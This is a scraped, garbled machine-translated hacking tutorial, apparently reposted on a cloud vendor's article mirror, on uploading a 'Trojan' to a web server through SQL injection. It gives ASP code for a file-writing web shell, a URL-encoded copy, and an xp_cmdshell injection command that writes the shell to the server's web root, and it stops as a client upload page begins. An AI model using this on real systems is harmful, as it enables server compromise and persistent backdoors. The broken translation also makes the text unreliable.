SQL injection and ASP Trojan upload

Source: Internet
Author: User
Tags ftp sql reserved return sql injection client
Trojan Horse | Upload SQL injection, how to upload a Trojan, has been a headache, I am here to provide an alternative way to upload a trojan. 1, SQL injection, with xp_cmdshell to the server to write a file to write an ASP file. File contents: <%set objFSO = Server.CreateObject ("Scripting.FileSystemObject") Set Objcountfile=objfso.createtextfile ( Request ("MyPath"), True) Objcountfile.write request ("MyData") objcountfile.close%> This file can be written as a line <%set objFSO = Server.CreateObject ("Scripting.FileSystemObject"): Set objcountfile=objfso.createtextfile (Request ("MyPath"), True ): Objcountfile.write request ("MyData"):objcountfile.close%> encode special characters to get%3c%25set%20objfso%20=% 20server.createobject (%22scripting.filesystemobject%22): set%20objcountfile=objfso.createtextfile (Request (% 22MYPATH%22), True: Objcountfile.write%20request (%22mydata%22): objcountfile.close%25%3e Injection (This assumes that the Web directory is C:\Inetpub\ wwwroot\): EXEC master ... xp_cmdshell ' echo '%3c%25set%20objfso%20=%20server.createobject (%22scripting.filesystemobject%22): Set% 20objcountfile=objfso.createtextfile (Request (%22MYPATH%22), True): Objcountfile.write%20request (%22mydata%22): o bjcountfile.close%25%3E "> C:\Inetpub\wwwroot\ftp.asp"; this will generate a ftp.asp file in the server's web directory The code for the file is <%set objFSO = Server.CreateObject (" Scripting.FileSystemObject ") Set Objcountfile=objfso.createtextfile (Request (" MyPath "), True) objcountfile.write Request ("MyData") objcountfile.close%> you can see that the above code has two interfaces reserved MyPath and Mydatamypath is the next time to submit The file's build path MyData is the contents of the file write a client-side file locally: The rohuclient.htm code is as follows <! DOCTYPE HTML PUBLIC "-//w3c//dtd HTML 4.01 transitional//en" >

Related Article

Alibaba Cloud 10 Year Anniversary

With You, We are Shaping a Digital World, 2009-2019

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.